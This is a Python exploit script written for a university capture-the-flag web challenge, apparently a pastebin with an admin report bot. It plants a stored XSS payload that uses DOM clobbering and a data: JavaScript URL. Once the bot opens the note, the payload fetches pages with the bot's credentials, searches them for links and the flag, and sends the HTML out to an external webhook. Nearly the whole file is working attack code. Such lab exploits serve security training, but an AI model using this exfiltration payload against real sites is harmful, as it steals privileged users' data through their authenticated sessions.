#!/usr/bin/env python3
"""
Simple Home Page Check - Defensive version with error handling
"""
import requests
import time
import urllib.parse
from urllib.parse import urljoin

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/9112d3b8-af6d-4c2c-8dea-31441a9af685"

# Test 1: Simple fetch home page with full error handling
code1 = f"""(async()=>{{
try{{
  let step='starting';
  let resp=await fetch('/',{{credentials:'include'}});
  step='fetched_home';
  let html=await resp.text();
  step='got_html';
  
  // Search for any /note/ links
  let noteLinks=[...html.matchAll(/\\/note\\/[a-f0-9]{{32}}/gi)].map(m=>m[0]);
  step='found_links';
  
  // Search for flag pattern
  let flagMatch=html.match(/uoftctf\\{{[^}}]+\\}}/i);
  step='searched_flag';
  
  await fetch('{WEBHOOK}',{{
    method:'POST',
    body:JSON.stringify({{
      method:'simple_home_scan',
      success:true,
      html_length:html.length,
      html_preview:html.substring(0,1000),
      notes_found:noteLinks.length,
      note_links:noteLinks,
      has_flag:!!flagMatch,
      flag:flagMatch?flagMatch[0]:null,
      last_step:step
    }})
  }});
}}catch(e){{
  await fetch('{WEBHOOK}?method=simple_home_scan&error='+encodeURIComponent(e.toString())+'&step='+step);
}}
}})();"""

payload1 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code1.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

print("="*80)
print("🏠 SIMPLE HOME PAGE CHECK")
print("="*80)

response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "Simple Home Check", "body": payload1},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    print(f"[+] Paste created: {urljoin(CHALLENGE_URL, note_path)}")

    time.sleep(1)

    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"[+] Queued!")
        print(f"\n{'='*80}")
        print(f"📊 Check webhook: {WEBHOOK}")
        print(f"{'='*80}")
        print("\nWill show:")
        print("  - Home page HTML (first 1000 chars)")
        print("  - Any /note/ links found")
        print("  - Whether flag pattern exists")
        print("  - Exact step where any error occurred")
        print("="*80)
    else:
        print(f"[-] Failed: {report_response.status_code}")
else:
    print(f"[-] Failed to create paste: {response.status_code}")
